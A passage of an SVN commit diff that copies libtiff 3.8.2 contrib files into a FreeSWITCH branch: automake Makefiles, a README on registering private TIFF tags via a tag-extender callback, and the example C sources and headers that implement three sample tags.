+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/tags/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,132 @@
+
+NOTE:  Sept/2004 
+
+The following described approach to managing tag extensions has been
+mostly superceeded since libtiff 3.6.0.  The described approach requires
+internal knowledge of the libtiff API and tends to be very fragile 
+in the face of libtiff upgrades.  
+
+Please read over the html/addingtags.html in preference to the below
+described approach.
+
+
+
+==================================
+
+Client module for adding to LIBTIFF tagset
+-------------------------------------------
+  Author: Niles Ritter
+
+
+  
+
+In the past, users of the "libtiff" package had to modify the
+source code of the library if they required additional private tags
+or codes not recognized by libtiff. Thus, whenever
+a new revision of libtiff came out the client would have to
+perform modifications to six or seven different files to re-install
+their tags.
+
+The latest versions of libtiff now provide client software new routines, 
+giving them the opportunity to install private extensions at runtime,
+rather than compile-time. This means that the client may encapsulate
+all of their private tags into a separate module, which need only
+be recompiled when new versions of libtiff are released; no manual
+editing of files is required.
+
+How it works
+------------
+
+The mechanism for overriding the tag access has been enabled with
+a single new routine, which has the following calling sequence:
+
+  TIFFExtendProc old_extender;
+  
+  old_extender = TIFFSetTagExtender(tag_extender);
+
+which must be called prior to opening or creating TIFF files.
+
+This routine sets a static pointer to the user-specified function
+<tag_extender>, which in turn is called by TIFFDefaultDirectory(),
+just after the usual TIFFSetField() and TIFFGetField() methods
+are defined, and just before the compression tag is set. It also
+returns a pointer to the previously-defined value of the tag-extender,
+so that multiple clients may be installed.
+
+The TIFFExtendProc method that you define should be used to override
+the TIFF file's "vsetfield" and "vgetfield" methods, so that you
+can trap your new, private tags, and install their values into
+a private directory structure. For your convienience, a new pointer
+has also been added to the "TIFF" file structure:
+
+	tidata_t	tif_clientdir;	/* client TIFF directory */
+
+into which you may install whatever private directory structures you like.
+You should also override the tag-printing method from within your
+"vsetfield" method, to permit the symbolic printing of your new tags.
+
+
+Example Client Code:
+--------------------
+
+An example module has been provided as a template for installing
+your own tags into a client tag extender. The module is called
+"xtif_dir.c", and defines all of the interface routines, tag field
+access, tag printing, etc. for most purpose. 
+
+To see how the client module operates, there are three "fake"
+tags currently installed. If you use the existing makefile you can
+build them with:
+
+     make all -f Makefile.gcc  !or Makefile.mpw
+     maketif
+     listtif
+  
+This will build two example programs called "maketif" and "listtif" 
+and then run them. These programs do nothing more than create a small
+file called "newtif.tif", install the fake tags, and then list them out
+using TIFFPrintDirectory().
+
+Installing Private Tags
+-----------------------
+
+To use this module for installing your own tags, edit each of the files
+
+    xtif_dir.c
+    xtiffio.h
+    xtiffiop.h
+    
+and search for the string "XXX". At these locations the comments
+will direct you how to install your own tag values, define their
+types, etc. Three examples tags are currently installed, demonstrating
+how to implement multi-valued tags, single-valued tags, and ASCII tags.
+The examples are not valid, registered tags, so you must replace them with
+your own.
+
+To test the routines, also edit the test programs "maketif.c" and
+"listtif.c" and replace the portions of the code that set the
+private tag values and list them.
+
+Once you have edited these files, you may build the client module
+with the Makefile provided, and run the test programs.
+
+To use these files in your own code, the "xtif_dir.c" module defines
+replacement routines for the standard "TIFFOpen()" "TIFFFdOpen",
+and "TIFFClose()" routines, called XTIFFOpen, XTIFFFdOpen and XTIFFClose.
+You must use these routines in order to have the extended tag handlers
+installed. Once installed, the standard TIFFGetField() and TIFFSetField
+routines may be used as before.
+
+Adding Extended Tags to "tools"
+-------------------------------
+To create an extended-tag savvy "tiffinfo" program or other utility, you may
+simply recompile and link the tools to your "libxtiff" library, adding 
+
+   -DTIFFOpen=XTIFFOpen -DTIFFClose=XTIFFClose -DTIFFFdOpen=XTIFFFdOpen
+
+to the compile statement.
+
+Bugs, Comments Etc:
+------------------
+ Send all reports and suggestions to ndr@tazboy.jpl.nasa.gov
+ (Niles Ritter).

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/listtif.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/listtif.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/tags/listtif.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/listtif.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/listtif.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+/*
+ * listtif.c -- lists a tiff file.
+ */
+
+#include "xtiffio.h"
+#include <stdlib.h>
+
+void main(int argc,char *argv[])
+{
+	char *fname="newtif.tif";
+	int flags;
+
+	TIFF *tif=(TIFF*)0;  /* TIFF-level descriptor */
+
+	if (argc>1) fname=argv[1];
+	
+	tif=XTIFFOpen(fname,"r");
+	if (!tif) goto failure;
+	
+	/* We want the double array listed */
+	flags = TIFFPRINT_MYMULTIDOUBLES;
+	
+	TIFFPrintDirectory(tif,stdout,flags);
+	XTIFFClose(tif);
+	exit (0);
+	
+failure:
+	printf("failure in listtif\n");
+	if (tif) XTIFFClose(tif);
+	exit (-1);
+}
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/maketif.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/maketif.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/tags/maketif.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/maketif.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/maketif.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,70 @@
+/*
+ * maketif.c -- creates a little TIFF file, with
+ *   the XTIFF extended tiff example tags.
+ */
+
+#include <stdlib.h>
+#include "xtiffio.h"
+
+
+void SetUpTIFFDirectory(TIFF *tif);
+void WriteImage(TIFF *tif);
+
+#define WIDTH 20
+#define HEIGHT 20
+
+void main()
+{
+	TIFF *tif=(TIFF*)0;  /* TIFF-level descriptor */
+	
+	tif=XTIFFOpen("newtif.tif","w");
+	if (!tif) goto failure;
+	
+	SetUpTIFFDirectory(tif);
+	WriteImage(tif);
+	
+	XTIFFClose(tif);
+	exit (0);
+	
+failure:
+	printf("failure in maketif\n");
+	if (tif) XTIFFClose(tif);
+	exit (-1);
+}
+
+
+void SetUpTIFFDirectory(TIFF *tif)
+{
+	double mymulti[6]={0.0,1.0,2.0,  3.1415926, 5.0,1.0};
+	uint32 mysingle=3456;
+	char *ascii="This file was produced by Steven Spielberg. NOT";
+
+	TIFFSetField(tif,TIFFTAG_IMAGEWIDTH,WIDTH);
+	TIFFSetField(tif,TIFFTAG_IMAGELENGTH,HEIGHT);
+	TIFFSetField(tif,TIFFTAG_COMPRESSION,COMPRESSION_NONE);
+	TIFFSetField(tif,TIFFTAG_PHOTOMETRIC,PHOTOMETRIC_MINISBLACK);
+	TIFFSetField(tif,TIFFTAG_PLANARCONFIG,PLANARCONFIG_CONTIG);
+	TIFFSetField(tif,TIFFTAG_BITSPERSAMPLE,8);
+	TIFFSetField(tif,TIFFTAG_ROWSPERSTRIP,20);
+
+	/* Install the extended TIFF tag examples */
+	TIFFSetField(tif,TIFFTAG_EXAMPLE_MULTI,6,mymulti);
+	TIFFSetField(tif,TIFFTAG_EXAMPLE_SINGLE,mysingle);
+	TIFFSetField(tif,TIFFTAG_EXAMPLE_ASCII,ascii);
+}
+
+
+void WriteImage(TIFF *tif)
+{
+	int i;
+	char buffer[WIDTH];
+	
+	memset(buffer,0,sizeof(buffer));
+	for (i=0;i<HEIGHT;i++)
+		if (!TIFFWriteScanline(tif, buffer, i, 0))
+			TIFFErrorExt(tif->tif_clientdata, "WriteImage","failure in WriteScanline\n");
+}
+
+
+
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtif_dir.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtif_dir.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/tags/xtif_dir.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtif_dir.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtif_dir.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,343 @@
+/*
+ * xtif_dir.c
+ *
+ * Extended TIFF Directory Tag Support.
+ *
+ *  You may use this file as a template to add your own
+ *  extended tags to the library. Only the parts of the code
+ *  marked with "XXX" require modification. Three example tags
+ *  are shown; you should replace them with your own.
+ *
+ *  Author: Niles D. Ritter
+ */
+ 
+#include "xtiffiop.h"
+#include <stdio.h>
+
+/*  Tiff info structure.
+ *
+ *     Entry format:
+ *        { TAGNUMBER, ReadCount, WriteCount, DataType, FIELDNUM, 
+ *          OkToChange, PassDirCountOnSet, AsciiName }
+ *
+ *     For ReadCount, WriteCount, -1 = unknown; used for mult-valued
+ *         tags and ASCII.
+ */
+
+static const TIFFFieldInfo xtiffFieldInfo[] = {
+  
+  /* XXX Replace these example tags with your own extended tags */
+    { TIFFTAG_EXAMPLE_MULTI,	-1,-1, TIFF_DOUBLE,	FIELD_EXAMPLE_MULTI,
+      TRUE,	TRUE,	"MyMultivaluedTag" },
+    { TIFFTAG_EXAMPLE_SINGLE,	 1, 1, TIFF_LONG,	FIELD_EXAMPLE_SINGLE,
+      TRUE,	FALSE,	"MySingleLongTag" },
+    { TIFFTAG_EXAMPLE_ASCII,	-1,-1, TIFF_ASCII,	FIELD_EXAMPLE_ASCII,
+      TRUE,	FALSE,	"MyAsciiTag" },
+};
+#define	N(a)	(sizeof (a) / sizeof (a[0]))
+
+
+static void
+_XTIFFPrintDirectory(TIFF* tif, FILE* fd, long flags)
+{
+	xtiff *xt = XTIFFDIR(tif);
+	XTIFFDirectory *xd = &xt->xtif_dir;
+	int i,num;
+
+	/* call the inherited method */
+	if (PARENT(xt,printdir))
+		(PARENT(xt,printdir))(tif,fd,flags);
+
+	/* XXX Add field printing here. Replace the three example
+         *    tags implemented below with your own.
+         */
+
+	fprintf(fd,"--My Example Tags--\n");
+
+	/* Our first example tag may have a lot of values, so we
+         * will only print them out if the TIFFPRINT_MYMULTIDOUBLES
+         * flag is passed into the print method.
+         */
+	if (TIFFFieldSet(tif,FIELD_EXAMPLE_MULTI))
+	{
+		fprintf(fd, "  My Multi-Valued Doubles:");
+		if (flags & TIFFPRINT_MYMULTIDOUBLES) 
+		{
+			double *value = xd->xd_example_multi;
+	
+			num = xd->xd_num_multi;
+			fprintf(fd,"(");
+			for (i=0;i<num;i++) fprintf(fd, " %lg", *value++);
+			fprintf(fd,")\n");
+		} else
+			fprintf(fd, "(present)\n");
+	}
+
+	if (TIFFFieldSet(tif,FIELD_EXAMPLE_SINGLE))
+	{
+		fprintf(fd, "  My Single Long Tag:  %lu\n", xd->xd_example_single);
+	}
+
+	if (TIFFFieldSet(tif,FIELD_EXAMPLE_ASCII))
+	{
+		_TIFFprintAsciiTag(fd,"My ASCII Tag",
+			 xd->xd_example_ascii);
+	}
+}
+
+static int
+_XTIFFVSetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	xtiff *xt = XTIFFDIR(tif);
+	XTIFFDirectory* xd = &xt->xtif_dir;
+	int status = 1;
+	uint32 v32=0;
+	int i=0, v=0;
+	va_list ap1 = ap;
+
+	/* va_start is called by the calling routine */
+	
+	switch (tag) {
+		/* 
+                 * XXX put your extended tags here; replace the implemented
+                 *     example tags with your own. 
+                 */
+	case TIFFTAG_EXAMPLE_MULTI:
+		/* multi-valued tags need to store the count as well */
+		xd->xd_num_multi = (uint16) va_arg(ap, int);
+		_TIFFsetDoubleArray(&xd->xd_example_multi, va_arg(ap, double*),
+			(long) xd->xd_num_multi);
+		break;
+	case TIFFTAG_EXAMPLE_SINGLE:
+		xd->xd_example_single = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_EXAMPLE_ASCII:
+		_TIFFsetString(&xd->xd_example_ascii, va_arg(ap, char*));
+		break;
+	default:
+		/* call the inherited method */
+		return (PARENT(xt,vsetfield))(tif,tag,ap);
+		break;
+	}
+	if (status) {
+		/* we have to override the print method here,
+ 		 * after the compression tags have gotten to it.
+		 * This makes sense because the only time we would
+		 * need the extended print method is if an extended
+		 * tag is set by the reader.
+		 */
+		if (!(xt->xtif_flags & XTIFFP_PRINT))
+		{
+	        	PARENT(xt,printdir) =  TIFFMEMBER(tif,printdir);
+      		  	TIFFMEMBER(tif,printdir) = _XTIFFPrintDirectory;
+			xt->xtif_flags |= XTIFFP_PRINT;
+		}
+		TIFFSetFieldBit(tif, _TIFFFieldWithTag(tif, tag)->field_bit);
+		tif->tif_flags |= TIFF_DIRTYDIRECT;
+	}
+	va_end(ap);
+	return (status);
+badvalue:
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "%d: Bad value for \"%s\"", v,
+	    _TIFFFieldWithTag(tif, tag)->field_name);
+	va_end(ap);
+	return (0);
+badvalue32:
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "%ld: Bad value for \"%s\"", v32,
+	    _TIFFFieldWithTag(tif, tag)->field_name);
+	va_end(ap);
+	return (0);
+}
+
+
+static int
+_XTIFFVGetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	xtiff *xt = XTIFFDIR(tif);
+	XTIFFDirectory* xd = &xt->xtif_dir;
+
+	switch (tag) {
+		/* 
+                 * XXX put your extended tags here; replace the implemented
+                 *     example tags with your own.
+                 */
+	case TIFFTAG_EXAMPLE_MULTI:
+		*va_arg(ap, uint16*) = xd->xd_num_multi;
+		*va_arg(ap, double**) = xd->xd_example_multi;
+		break;
+	case TIFFTAG_EXAMPLE_ASCII:
+		*va_arg(ap, char**) = xd->xd_example_ascii;
+		break;
+	case TIFFTAG_EXAMPLE_SINGLE:
+		*va_arg(ap, uint32*) = xd->xd_example_single;
+		break;
+	default:
+		/* return inherited method */
+		return (PARENT(xt,vgetfield))(tif,tag,ap);
+		break;
+	}
+	return (1);
+}
+
+#define	CleanupField(member) {		\
+    if (xd->member) {			\
+	_TIFFfree(xd->member);		\
+	xd->member = 0;			\
+    }					\
+}
+/*
+ * Release storage associated with a directory.
+ */
+static void
+_XTIFFFreeDirectory(xtiff* xt)
+{
+	XTIFFDirectory* xd = &xt->xtif_dir;
+
+	/* 
+	 *  XXX - Purge all Your allocated memory except
+	 *  for the xtiff directory itself. This includes
+	 *  all fields that require a _TIFFsetXXX call in
+	 *  _XTIFFVSetField().
+	 */
+	
+	CleanupField(xd_example_multi);
+	CleanupField(xd_example_ascii);
+	
+}
+#undef CleanupField
+
+static void _XTIFFLocalDefaultDirectory(TIFF *tif)
+{
+	xtiff *xt = XTIFFDIR(tif);
+	XTIFFDirectory* xd = &xt->xtif_dir;
+
+	/* Install the extended Tag field info */
+	_TIFFMergeFieldInfo(tif, xtiffFieldInfo, N(xtiffFieldInfo));
+
+	/*
+	 *  free up any dynamically allocated arrays
+	 *  before the new directory is read in.
+	 */
+	 
+	_XTIFFFreeDirectory(xt);	
+	_TIFFmemset(xt,0,sizeof(xtiff));
+
+	/* Override the tag access methods */
+
+	PARENT(xt,vsetfield) =  TIFFMEMBER(tif,vsetfield);
+	TIFFMEMBER(tif,vsetfield) = _XTIFFVSetField;
+	PARENT(xt,vgetfield) =  TIFFMEMBER(tif,vgetfield);
+	TIFFMEMBER(tif,vgetfield) = _XTIFFVGetField;
+
+	/* 
+	 * XXX Set up any default values here.
+	 */
+	
+	xd->xd_example_single = 234;
+}
+
+
+
+/**********************************************************************
+ *    Nothing below this line should need to be changed.
+ **********************************************************************/
+
+static TIFFExtendProc _ParentExtender;
+
+/*
+ *  This is the callback procedure, and is
+ *  called by the DefaultDirectory method
+ *  every time a new TIFF directory is opened.
+ */
+
+static void
+_XTIFFDefaultDirectory(TIFF *tif)
+{
+	xtiff *xt;
+	
+	/* Allocate Directory Structure if first time, and install it */
+	if (!(tif->tif_flags & XTIFF_INITIALIZED))
+	{
+		xt = _TIFFmalloc(sizeof(xtiff));
+		if (!xt)
+		{
+			/* handle memory allocation failure here ! */
+			return;
+		}
+		_TIFFmemset(xt,0,sizeof(xtiff));
+		/*
+		 * Install into TIFF structure.
+		 */
+		TIFFMEMBER(tif,clientdir) = (tidata_t)xt;
+		tif->tif_flags |= XTIFF_INITIALIZED; /* dont do this again! */
+	}
+	
+	/* set up our own defaults */
+	_XTIFFLocalDefaultDirectory(tif);
+
+	/* Since an XTIFF client module may have overridden
+	 * the default directory method, we call it now to
+	 * allow it to set up the rest of its own methods.
+         */
+
+	if (_ParentExtender) 
+		(*_ParentExtender)(tif);
+
+}
+
+/*
+ *  XTIFF Initializer -- sets up the callback
+ *   procedure for the TIFF module.
+ */
+
+static
+void _XTIFFInitialize(void)
+{
+	static first_time=1;
+	
+	if (! first_time) return; /* Been there. Done that. */
+	first_time = 0;
+	
+	/* Grab the inherited method and install */
+	_ParentExtender = TIFFSetTagExtender(_XTIFFDefaultDirectory);
+}
+
+
+/*
+ * Public File I/O Routines.
+ */
+TIFF*
+XTIFFOpen(const char* name, const char* mode)
+{
+	/* Set up the callback */
+	_XTIFFInitialize();	
+	
+	/* Open the file; the callback will set everything up
+	 */
+	return TIFFOpen(name, mode);
+}
+
+TIFF*
+XTIFFFdOpen(int fd, const char* name, const char* mode)
+{
+	/* Set up the callback */
+	_XTIFFInitialize();	
+
+	/* Open the file; the callback will set everything up
+	 */
+	return TIFFFdOpen(fd, name, mode);
+}
+
+
+void
+XTIFFClose(TIFF *tif)
+{
+	xtiff *xt = XTIFFDIR(tif);
+	
+	/* call inherited function first */
+	TIFFClose(tif);
+	
+	/* Free up extended allocated memory */
+	_XTIFFFreeDirectory(xt);
+	_TIFFfree(xt);
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtiffio.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtiffio.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/tags/xtiffio.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtiffio.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtiffio.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+/*
+ *  xtiffio.h -- Public interface to Extended TIFF tags
+ *
+ *    This is a template for defining a client module
+ *    which supports tag extensions to the standard libtiff
+ *    set. Only portions of the code marked "XXX" need to
+ *    be changed to support your tag set.
+ *
+ *    written by: Niles D. Ritter
+ */
+
+#ifndef __xtiffio_h
+#define __xtiffio_h
+
+#include "tiffio.h"
+
+/* 
+ *  XXX Define your private Tag names and values here 
+ */
+
+/* These tags are not valid, but are provided for example */
+#define TIFFTAG_EXAMPLE_MULTI      61234
+#define TIFFTAG_EXAMPLE_SINGLE     61235
+#define TIFFTAG_EXAMPLE_ASCII      61236
+
+/* 
+ *  XXX Define Printing method flags. These
+ *  flags may be passed in to TIFFPrintDirectory() to
+ *  indicate that those particular field values should
+ *  be printed out in full, rather than just an indicator
+ *  of whether they are present or not.
+ */
+#define	TIFFPRINT_MYMULTIDOUBLES	0x80000000
+
+/**********************************************************************
+ *    Nothing below this line should need to be changed by the user.
+ **********************************************************************/
+
+#if defined(__cplusplus)
+extern "C" {
+#endif
+
+extern TIFF* XTIFFOpen(const char* name, const char* mode);
+extern TIFF* XTIFFFdOpen(int fd, const char* name, const char* mode);
+extern void  XTIFFClose(TIFF *tif);
+
+#if defined(__cplusplus)
+}
+#endif
+
+#endif /* __xtiffio_h */
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtiffiop.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtiffiop.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/tags/xtiffiop.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtiffiop.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/xtiffiop.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,65 @@
+/*
+ * Private Extended TIFF library interface.
+ *
+ *  uses private LIBTIFF interface.
+ *
+ *  The portions of this module marked "XXX" should be
+ *  modified to support your tags instead.
+ *
+ *  written by: Niles D. Ritter
+ *
+ */
+
+#ifndef __xtiffiop_h
+#define __xtiffiop_h
+
+#include "tiffiop.h"
+#include "xtiffio.h"
+
+/**********************************************************************
+ *               User Configuration
+ **********************************************************************/
+
+/* XXX - Define number of your extended tags here */
+#define NUM_XFIELD 3
+#define XFIELD_BASE (FIELD_LAST-NUM_XFIELD)
+
+/*  XXX - Define your Tag Fields here  */
+#define	FIELD_EXAMPLE_MULTI     (XFIELD_BASE+0)
+#define	FIELD_EXAMPLE_SINGLE    (XFIELD_BASE+1)
+#define	FIELD_EXAMPLE_ASCII      (XFIELD_BASE+2)
+
+
+/* XXX - Define Private directory tag structure here */
+struct XTIFFDirectory {
+	uint16	 xd_num_multi; /* dir-count for the multi tag */
+	double*  xd_example_multi;
+	uint32   xd_example_single; 
+	char*    xd_example_ascii;
+};
+typedef struct XTIFFDirectory XTIFFDirectory;
+
+/**********************************************************************
+ *    Nothing below this line should need to be changed by the user.
+ **********************************************************************/
+
+struct xtiff {
+	TIFF 		*xtif_tif;	/* parent TIFF pointer */
+	uint32		xtif_flags;
+#define       XTIFFP_PRINT   0x00000001
+	XTIFFDirectory	xtif_dir;	/* internal rep of current directory */
+	TIFFVSetMethod	xtif_vsetfield;	/* inherited tag set routine */
+	TIFFVGetMethod	xtif_vgetfield;	/* inherited tag get routine */
+	TIFFPrintMethod	xtif_printdir;  /* inherited dir print method */
+};
+typedef struct xtiff xtiff;
+
+
+#define PARENT(xt,pmember) ((xt)->xtif_ ## pmember) 
+#define TIFFMEMBER(tf,pmember) ((tf)->tif_ ## pmember) 
+#define XTIFFDIR(tif) ((xtiff *)TIFFMEMBER(tif,clientdir))
+	
+/* Extended TIFF flags */
+#define XTIFF_INITIALIZED 0x80000000
+	
+#endif /* __xtiffiop_h */

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/win_dib)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/win_dib/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = Makefile.w95 README.Tiffile README.tiff2dib Tiffile.cpp tiff2dib.c
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/win_dib/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,385 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
